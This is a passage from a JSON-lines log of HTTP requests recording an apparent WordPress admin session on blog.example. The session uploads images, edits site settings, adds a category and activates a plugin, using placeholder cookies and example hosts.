boundary=----WebKitFormBoundaryAaeabRwojB6M1Wog", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"file\"; filename=\"holiday-photo.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/18?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 409", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ3NQqb5rHLeqDitl", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"file\"; filename=\"bin-day.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/19?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 417", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPj3tR1NjEw5stIqA", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"my passwd reset.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA--\r\n"} +{"method": "POST", "target": "/wp-json/wp/v2/media/20?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"} +{"method": "GET", "target": "/wp-admin/media-new.php?browser-uploader", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""} +{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 778", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjx3GBevQOAuXrl5", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nscan-01.png\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"post_id\"\r\n\r\n0\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n87ab0e0dbf\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"tab\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"short\"\r\n\r\n1\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"scan-01.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5--\r\n"} +{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 24", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "attachment_id=21&fetch=3"} +{"method": "GET", "target": "/wp-content/uploads/2026/11/scan-01.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": ""} +{"method": "GET", "target": "/wp-content/uploads/2026/11/holiday-photo.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?item=6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 472", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": "option_page=general&action=update&_wpnonce=d9d12950f3&_wp_http_referer=%2Fwp-admin%2Foptions-general.php&blogname=Example+Blog&blogdescription=Bob%27s+words+%26+thoughts&site_icon=0&siteurl=http%3A%2F%2Fblog.example&home=http%3A%2F%2Fblog.example&new_admin_email=editor1%40example.com&default_role=subscriber&WPLANG=&timezone_string=UTC%2B0&date_format=F+j%2C+Y&date_format_custom=F+j%2C+Y&time_format=g%3Ai+a&time_format_custom=g%3Ai+a&start_of_week=1&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-general.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 197", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": "option_page=reading&action=update&_wpnonce=1872e80cc5&_wp_http_referer=%2Fwp-admin%2Foptions-reading.php&show_on_front=posts&posts_per_page=12&posts_per_rss=10&rss_use_excerpt=0&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-reading.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 616", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": "option_page=discussion&action=update&_wpnonce=1ac818c98b&_wp_http_referer=%2Fwp-admin%2Foptions-discussion.php&default_pingback_flag=1&default_ping_status=open&default_comment_status=open&require_name_email=1&close_comments_days_old=14&show_comments_cookies_opt_in=1&thread_comments=1&thread_comments_depth=5&comments_per_page=50&default_comments_page=newest&comment_order=asc&comments_notify=1&moderation_notify=1&wp_notes_notify=1&comment_previously_approved=1&comment_max_links=2&moderation_keys=buy+now%0D%0Acheap+watches&disallowed_keys=&show_avatars=1&avatar_rating=G&avatar_default=mystery&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-discussion.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 283", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": "option_page=media&action=update&_wpnonce=fe10b63129&_wp_http_referer=%2Fwp-admin%2Foptions-media.php&thumbnail_size_w=160&thumbnail_size_h=150&thumbnail_crop=1&medium_size_w=300&medium_size_h=300&large_size_w=1024&large_size_h=1024&uploads_use_yearmonth_folders=1&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-media.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": ""} +{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 339", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": "option_page=writing&action=update&_wpnonce=1e8037a08d&_wp_http_referer=%2Fwp-admin%2Foptions-writing.php&default_category=1&default_post_format=0&mailserver_url=mail.example.com&mailserver_port=110&mailserver_login=login%40example.com&mailserver_pass=&default_email_category=1&ping_sites=https%3A%2F%2Fexample.org%2Frpc&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-writing.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 226", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=category", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203334"], "body": "action=add-tag&screen=edit-category&taxonomy=category&post_type=post&_wpnonce_add-tag=f99019c9ad&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&tag-name=Food+%26+Drink&slug=food-drink&parent=-1&description="} +{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=akismet%2Fakismet.php&plugin_status=all&paged=1&s&_wpnonce=8b9b53e587", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""} +{"method": 